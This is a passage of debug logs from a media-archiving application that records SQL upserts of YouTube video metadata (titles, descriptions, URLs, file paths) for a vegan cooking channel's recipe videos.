TURMERIC MUFFINS: \u00A0\u00A0\u00A0•\u00A0GLUTEN-FREE\u00A0VEGAN\u00A0MUFFINS!\u00A0|\u00A02\u00A0easy,\u00A0delic...\u00A0\u00A0\nSUNSHINE SMOOTHIE: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0make\u00A0healthy\u00A0smoothies\u00A0💚\u00A0Easy,\u00A0deli...\u00A0\u00A0\nBANANA BLENDER PANCAKES: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0PANCAKES!\u00A0How\u00A0to\u00A0make\u00A0the\u00A0best\u00A0vegan...\u00A0\u00A0\n\n\nIf you used these tips and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Chinsaku - Spirit Of The Wind - https://thmatc.co/?l=C85703CF", "HOW TO FREEZE BANANAS 🍌 ❄️ 3 WAYS!", 1, nil, false, "Em_STW7wKQs", "https://www.youtube.com/watch?v=Em_STW7wKQs", "/downloads/downloads/alec/Steamy Vegan/2022-08-03 HOW TO FREEZE BANANAS 🍌 ❄️ 3 WAYS!/HOW TO FREEZE BANANAS 🍌 ❄️ 3 WAYS! [Em_STW7wKQs].NA", false, ~U[2022-08-03 00:00:00Z]] 20:31:08.631 [debug] QUERY OK source="sources" db=0.5ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.633 [debug] QUERY OK source="media_items" db=2.1ms idle=5.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-31 00:00:00Z], 1] 20:31:08.635 [debug] QUERY OK source="media_items" db=1.0ms idle=7.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We had a ton of fun reviewing and taste testing 4 of the most popular vegan ice creams available. Find out which one is crowned the ultimate vegan ice cream in this delicious taste test!\n\nIf you enjoyed this vegan food review video then you might also want to check out these taste test videos on our channel:\n1. The BEST Vegan Cheeses: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Vegan\u00A0Cheese\u00A0for\u00A0Grilled\u00A0Cheeses\u00A0...\u00A0\u00A0\n2. The BEST Vegan Milk Chocolate Bar EVER: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Vegan\u00A0Milk\u00A0Chocolate\u00A0Bar\u00A0EVER?\u00A0Li...\u00A0\u00A0\n3. How to Make Your Own Vegan Ice Cream: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0EASY\u00A0Banana\u00A0'Ice\u00A0Cream'\u00A03\u00A0Ways...\u00A0\u00A0\n\nLet us know your fav ice cream in the comments!\n\nTime Stamps:\n0:00 - Intro\n1:40 - Ben & Jerry's Netflix and Chill'd Vegan Ice Cream\n4:12 - So Delicious S'mores Oat Milk Vegan Ice Cream\n6:24 - So Delicious Cinnamon Cookie Dough Cashew Milk Vegan Ice Cream\n10:45 - President's Choice Plant-Based Coconut Milk Chocolate Vegan Ice Cream\n13:05 - Final Thoughts on the Best Vegan Ice Cream\n\nWant more summer recipes? These other recipes might interest you!\nLAZY DOUBLE BLUEBERRY PIE: \u00A0\u00A0\u00A0•\u00A0The\u00A0Easiest\u00A0Blueberry\u00A0Pie...\u00A0EVER!\u00A0💙\u00A0Vegan...\u00A0\u00A0\nCARDAMOM BLUEBERRY MUFFINS: \u00A0\u00A0\u00A0•\u00A0CARDAMOM\u00A0BLUEBERRY\u00A0MUFFINS\u00A0🫐\u00A0Easy\u00A0vegan\u00A0br...\u00A0\u00A0\nQUICK PICKLED JALAPENOS: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0the\u00A0BEST\u00A0Homemade\u00A0Pickled\u00A0Jala...\u00A0\u00A0\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "The ULTIMATE Vegan Ice Cream Review and Taste Test 🍨🍦", "2e8d3256-3669-48cd-ac68-54402c8c89c8", 1, [], false, "rU4cirfns1Q", "https://www.youtube.com/watch?v=rU4cirfns1Q", 355, "/downloads/downloads/alec/Steamy Vegan/2022-07-31 The ULTIMATE Vegan Ice Cream Review and Taste Test 🍨🍦/The ULTIMATE Vegan Ice Cream Review and Taste Test 🍨🍦 [rU4cirfns1Q].NA", false, false, false, 1, ~U[2022-07-31 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "We had a ton of fun reviewing and taste testing 4 of the most popular vegan ice creams available. Find out which one is crowned the ultimate vegan ice cream in this delicious taste test!\n\nIf you enjoyed this vegan food review video then you might also want to check out these taste test videos on our channel:\n1. The BEST Vegan Cheeses: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Vegan\u00A0Cheese\u00A0for\u00A0Grilled\u00A0Cheeses\u00A0...\u00A0\u00A0\n2. The BEST Vegan Milk Chocolate Bar EVER: \u00A0\u00A0\u00A0•\u00A0The\u00A0BEST\u00A0Vegan\u00A0Milk\u00A0Chocolate\u00A0Bar\u00A0EVER?\u00A0Li...\u00A0\u00A0\n3. How to Make Your Own Vegan Ice Cream: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0EASY\u00A0Banana\u00A0'Ice\u00A0Cream'\u00A03\u00A0Ways...\u00A0\u00A0\n\nLet us know your fav ice cream in the comments!\n\nTime Stamps:\n0:00 - Intro\n1:40 - Ben & Jerry's Netflix and Chill'd Vegan Ice Cream\n4:12 - So Delicious S'mores Oat Milk Vegan Ice Cream\n6:24 - So Delicious Cinnamon Cookie Dough Cashew Milk Vegan Ice Cream\n10:45 - President's Choice Plant-Based Coconut Milk Chocolate Vegan Ice Cream\n13:05 - Final Thoughts on the Best Vegan Ice Cream\n\nWant more summer recipes? These other recipes might interest you!\nLAZY DOUBLE BLUEBERRY PIE: \u00A0\u00A0\u00A0•\u00A0The\u00A0Easiest\u00A0Blueberry\u00A0Pie...\u00A0EVER!\u00A0💙\u00A0Vegan...\u00A0\u00A0\nCARDAMOM BLUEBERRY MUFFINS: \u00A0\u00A0\u00A0•\u00A0CARDAMOM\u00A0BLUEBERRY\u00A0MUFFINS\u00A0🫐\u00A0Easy\u00A0vegan\u00A0br...\u00A0\u00A0\nQUICK PICKLED JALAPENOS: \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0Make\u00A0the\u00A0BEST\u00A0Homemade\u00A0Pickled\u00A0Jala...\u00A0\u00A0\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "The ULTIMATE Vegan Ice Cream Review and Taste Test 🍨🍦", 1, nil, false, "rU4cirfns1Q", "https://www.youtube.com/watch?v=rU4cirfns1Q", "/downloads/downloads/alec/Steamy Vegan/2022-07-31 The ULTIMATE Vegan Ice Cream Review and Taste Test 🍨🍦/The ULTIMATE Vegan Ice Cream Review and Taste Test 🍨🍦 [rU4cirfns1Q].NA", false, ~U[2022-07-31 00:00:00Z]] 20:31:08.635 [debug] QUERY OK source="sources" db=0.5ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.637 [debug] QUERY OK source="media_items" db=1.8ms idle=5.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-25 00:00:00Z], 1] 20:31:08.639 [debug] QUERY OK source="media_items" db=1.5ms idle=6.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The easiest blueberry pie you'll EVER make! With only 4 ingredients that you can buy for dirt cheap, this summer dessert is vegan, gluten-free and PERFECT for when you're feeling extra lazy and got those those blueberry cravings 💙\n\nI dare say this recipe is 'easy as pie'. Take advantage of summer blueberry season and make this 100% fuss-free dessert that your entire family will DEVOUR. Perfect with a scoop of nondairy ice cream or whipped cream, you will definitely be making 'the laziest blueberry pie' again and again! 😊\n\n⬇️ Check out my blog post for the full recipe + instructions! ⬇️\nLINK: https://steamyvegan.com/lazy-double-b...\n\nWant more blueberry recipes? 🫐 Watch my CARDAMOM BLUEBERRY MUFFINS recipe video ➡️ \u00A0\u00A0\u00A0•\u00A0CARDAMOM\u00A0BLUEBERRY\u00A0MUFFINS\u00A0🫐\u00A0Easy\u00A0vegan\u00A0br...\u00A0\u00A0\n\nWant more PIE recipes? 🥧\n🍓STRAWBERRY RHUBARB PIE: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0STRAWBERRY\u00A0RHUBARB\u00A0PIE\u00A0//\u00A0How\u00A0to\u00A0mak...\u00A0\u00A0\n🍫CHOCOLATE AVOCADO CREAM PIE: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0chocolate\u00A0pie\u00A0🥧\u00A0\u00A0\n\n\nTimestamps:\n0:00 - Intro\n0:49 - How to make\n2:06 - Outro\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by DJ GONZ - Silence Kills - https://thmatc.co/?l=F4096170", "The Easiest Blueberry Pie... EVER! 💙 Vegan, gluten-free and only 4 INGREDIENTS! 🫐🥧", "22211228-c348-48b3-afd1-4bff2e4eac5f", 1, [], false, "s9AjXIrzz4w", "https://www.youtube.com/watch?v=s9AjXIrzz4w", 356, "/downloads/downloads/alec/Steamy Vegan/2022-07-25 The Easiest Blueberry Pie... EVER! 💙 Vegan, gluten-free and only 4 INGREDIENTS! 🫐🥧/The Easiest Blueberry Pie... EVER! 💙 Vegan, gluten-free and only 4 INGREDIENTS! 🫐🥧 [s9AjXIrzz4w].NA", false, false, false, 2, ~U[2022-07-25 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "The easiest blueberry pie you'll EVER make! With only 4 ingredients that you can buy for dirt cheap, this summer dessert is vegan, gluten-free and PERFECT for when you're feeling extra lazy and got those those blueberry cravings 💙\n\nI dare say this recipe is 'easy as pie'. Take advantage of summer blueberry season and make this 100% fuss-free dessert that your entire family will DEVOUR. Perfect with a scoop of nondairy ice cream or whipped cream, you will definitely be making 'the laziest blueberry pie' again and again! 😊\n\n⬇️ Check out my blog post for the full recipe + instructions! ⬇️\nLINK: https://steamyvegan.com/lazy-double-b...\n\nWant more blueberry recipes? 🫐 Watch my CARDAMOM BLUEBERRY MUFFINS recipe video ➡️ \u00A0\u00A0\u00A0•\u00A0CARDAMOM\u00A0BLUEBERRY\u00A0MUFFINS\u00A0🫐\u00A0Easy\u00A0vegan\u00A0br...\u00A0\u00A0\n\nWant more PIE recipes? 🥧\n🍓STRAWBERRY RHUBARB PIE: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0STRAWBERRY\u00A0RHUBARB\u00A0PIE\u00A0//\u00A0How\u00A0to\u00A0mak...\u00A0\u00A0\n🍫CHOCOLATE AVOCADO CREAM PIE: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0chocolate\u00A0pie\u00A0🥧\u00A0\u00A0\n\n\nTimestamps:\n0:00 - Intro\n0:49 - How to make\n2:06 - Outro\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by DJ GONZ - Silence Kills - https://thmatc.co/?l=F4096170", "The Easiest Blueberry Pie... EVER! 💙 Vegan, gluten-free and only 4 INGREDIENTS! 🫐🥧", 1, nil, false, "s9AjXIrzz4w", "https://www.youtube.com/watch?v=s9AjXIrzz4w", "/downloads/downloads/alec/Steamy Vegan/2022-07-25 The Easiest Blueberry Pie... EVER! 💙 Vegan, gluten-free and only 4 INGREDIENTS! 🫐🥧/The Easiest Blueberry Pie... EVER! 💙 Vegan, gluten-free and only 4 INGREDIENTS! 🫐🥧 [s9AjXIrzz4w].NA", false, ~U[2022-07-25 00:00:00Z]] 20:31:08.640 [debug] QUERY OK source="sources" db=0.7ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.644 [debug] QUERY OK source="media_items" db=2.7ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-21 00:00:00Z], 1] 20:31:08.647 [debug] QUERY OK source="media_items" db=1.7ms idle=9.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Need an easy vegan breakfast? Make these vegan and gluten-free CARDAMOM BLUEBERRY MUFFINS! 🫐 If you’ve got lots of fresh blueberries to use up, you gotta make these. 😊\n\n⬇️ Check out my blog post for the full recipe + instructions! ⬇️\nLINK: https://steamyvegan.com/cardamom-blue...\n\nIf you’ve never heard of or tried cardamom, it’s the ground seeds of the cardamom pod and it has a subtly earthy, warm and spicy flavour that pairs really well with citrus fruits, and from my experience berries as weLl! if you love sweet spices like cinnamon then you will definitely like cardamom. \n\nSo this recipe might seem like it has a lot of ingredients but most of them are baking essentials that you probably already have! The batter comes together in a pinch and the rest is easy peasy! \n\nNeed a lazy dessert RIGHT NOW? Check out my LAZY DOUBLE BLUEBERRY PIE ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0Easiest\u00A0Blueberry\u00A0Pie...\u00A0EVER!\u00A0💙\u00A0Vegan...\u00A0\u00A0\n\n\n⬇️ Want more easy vegan breakfast recipes? Check out my other videos HERE ⬇️\nOVERNIGHT OATS 3 WAYS: \u00A0\u00A0\u00A0•\u00A0OVERNIGHT\u00A0OATS!\u00A0Piña\u00A0Colada,\u00A0Strawberry\u00A0Rh...\u00A0\u00A0\nCACAO ORANGE GRANOLA: \u00A0\u00A0\u00A0•\u00A0CACAO\u00A0ORANGE\u00A0GRANOLA\u00A0//\u00A0vegan,\u00A0gluten-free...\u00A0\u00A0\nTURMERIC GINGER MUFFINS + APPLE MATCHA MUFFINS: \u00A0\u00A0\u00A0•\u00A0GLUTEN-FREE\u00A0VEGAN\u00A0MUFFINS!\u00A0|\u00A02\u00A0easy,\u00A0delic...\u00A0\u00A0\n\nMuffins are so easy and delicious and I’m so happy to share this little recipe with you! Let me know if you try this out and how you like it. As always, if you liked this video please give it a thumbs up and subscribe below so you’re always in the loop with what I’m posting! \n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Blue Sirens - Taro - https://thmatc.co/?l=CC5DF357", "CARDAMOM BLUEBERRY MUFFINS 🫐 Easy vegan breakfast, vegan and gluten-free!", "28b711b2-a33d-4df9-8ab7-1fe147dfb024", 1, [], false, "IpGzVsQxXU4", "https://www.youtube.com/watch?v=IpGzVsQxXU4", 357, "/downloads/downloads/alec/Steamy Vegan/2022-07-21 CARDAMOM BLUEBERRY MUFFINS 🫐 Easy vegan breakfast, vegan and gluten-free!/CARDAMOM BLUEBERRY MUFFINS 🫐 Easy vegan breakfast, vegan and gluten-free! [IpGzVsQxXU4].NA", false, false, false, 2, ~U[2022-07-21 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Need an easy vegan breakfast? Make these vegan and gluten-free CARDAMOM BLUEBERRY MUFFINS! 🫐 If you’ve got lots of fresh blueberries to use up, you gotta make these. 😊\n\n⬇️ Check out my blog post for the full recipe + instructions! ⬇️\nLINK: https://steamyvegan.com/cardamom-blue...\n\nIf you’ve never heard of or tried cardamom, it’s the ground seeds of the cardamom pod and it has a subtly earthy, warm and spicy flavour that pairs really well with citrus fruits, and from my experience berries as weLl! if you love sweet spices like cinnamon then you will definitely like cardamom. \n\nSo this recipe might seem like it has a lot of ingredients but most of them are baking essentials that you probably already have! The batter comes together in a pinch and the rest is easy peasy! \n\nNeed a lazy dessert RIGHT NOW? Check out my LAZY DOUBLE BLUEBERRY PIE ➡️ \u00A0\u00A0\u00A0•\u00A0The\u00A0Easiest\u00A0Blueberry\u00A0Pie...\u00A0EVER!\u00A0💙\u00A0Vegan...\u00A0\u00A0\n\n\n⬇️ Want more easy vegan breakfast recipes? Check out my other videos HERE ⬇️\nOVERNIGHT OATS 3 WAYS: \u00A0\u00A0\u00A0•\u00A0OVERNIGHT\u00A0OATS!\u00A0Piña\u00A0Colada,\u00A0Strawberry\u00A0Rh...\u00A0\u00A0\nCACAO ORANGE GRANOLA: \u00A0\u00A0\u00A0•\u00A0CACAO\u00A0ORANGE\u00A0GRANOLA\u00A0//\u00A0vegan,\u00A0gluten-free...\u00A0\u00A0\nTURMERIC GINGER MUFFINS + APPLE MATCHA MUFFINS: \u00A0\u00A0\u00A0•\u00A0GLUTEN-FREE\u00A0VEGAN\u00A0MUFFINS!\u00A0|\u00A02\u00A0easy,\u00A0delic...\u00A0\u00A0\n\nMuffins are so easy and delicious and I’m so happy to share this little recipe with you! Let me know if you try this out and how you like it. As always, if you liked this video please give it a thumbs up and subscribe below so you’re always in the loop with what I’m posting! \n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Blue Sirens - Taro - https://thmatc.co/?l=CC5DF357", "CARDAMOM BLUEBERRY MUFFINS 🫐 Easy vegan breakfast, vegan and gluten-free!", 1, nil, false, "IpGzVsQxXU4", "https://www.youtube.com/watch?v=IpGzVsQxXU4", "/downloads/downloads/alec/Steamy Vegan/2022-07-21 CARDAMOM BLUEBERRY MUFFINS 🫐 Easy vegan breakfast, vegan and gluten-free!/CARDAMOM BLUEBERRY MUFFINS 🫐 Easy vegan breakfast, vegan and gluten-free! [IpGzVsQxXU4].NA", false, ~U[2022-07-21 00:00:00Z]] 20:31:08.648 [debug] QUERY OK source="sources" db=0.5ms idle=9.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.649 [debug] QUERY OK source="media_items" db=1.7ms idle=8.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-07-08 00:00:00Z], 1] 20:31:08.651 [debug] QUERY OK source="media_items" db=1.0ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["How to make the BEST and EASIEST homemade pickled JALAPEÑOS! 🌶 \n\nPickled Jalapeños are delicious on their own, but they are also a delicious spicy and crunchy topping for almost ANYTHING including tacos, burgers, sandwiches, salads and more!\n\nGET THE FULL RECIPE ON MY BLOG ➡️ https://steamyvegan.com/pickled-jalap...\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Citrus Avenue - Espresso Sun - https://thmatc.co/?l=044B33FD\nMusic by Mr. Jello - Summer Sunday - https://thmatc.co/?l=046DFC48", "How to Make the BEST Homemade Pickled Jalapenos! 🌶", "c97764b7-b842-460b-86aa-62014c9cf0e1", 1, [], false, "_Va9Zy4IyNQ", "https://www.youtube.com/watch?v=_Va9Zy4IyNQ", 358, "/downloads/downloads/alec/Steamy Vegan/2022-07-08 How to Make the BEST Homemade Pickled Jalapenos! 🌶/How to Make the BEST Homemade Pickled Jalapenos! 🌶 [_Va9Zy4IyNQ].NA", false, false, false, 5, ~U[2022-07-08 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "How to make the BEST and EASIEST homemade pickled JALAPEÑOS! 🌶 \n\nPickled Jalapeños are delicious on their own, but they are also a delicious spicy and crunchy topping for almost ANYTHING including tacos, burgers, sandwiches, salads and more!\n\nGET THE FULL RECIPE ON MY BLOG ➡️ https://steamyvegan.com/pickled-jalap...\n\nIf you made this recipe and decide to share it on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations :)\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nWHERE I GET MY MUSIC: \nThematic: I LOVE using Thematic for all my royalty-free music in my recipe videos. Their song selection is top notch, plus it helps promote fellow creators! Use my link to get 1 month of their PREMIUM membership for free!\n https://app.hellothematic.com/?via=st... \nMusic by Citrus Avenue - Espresso Sun - https://thmatc.co/?l=044B33FD\nMusic by Mr. Jello - Summer Sunday - https://thmatc.co/?l=046DFC48", "How to Make the BEST Homemade Pickled Jalapenos! 🌶", 1, nil, false, "_Va9Zy4IyNQ", "https://www.youtube.com/watch?v=_Va9Zy4IyNQ", "/downloads/downloads/alec/Steamy Vegan/2022-07-08 How to Make the BEST Homemade Pickled Jalapenos! 🌶/How to Make the BEST Homemade Pickled Jalapenos! 🌶 [_Va9Zy4IyNQ].NA", false, ~U[2022-07-08 00:00:00Z]] 20:31:08.652 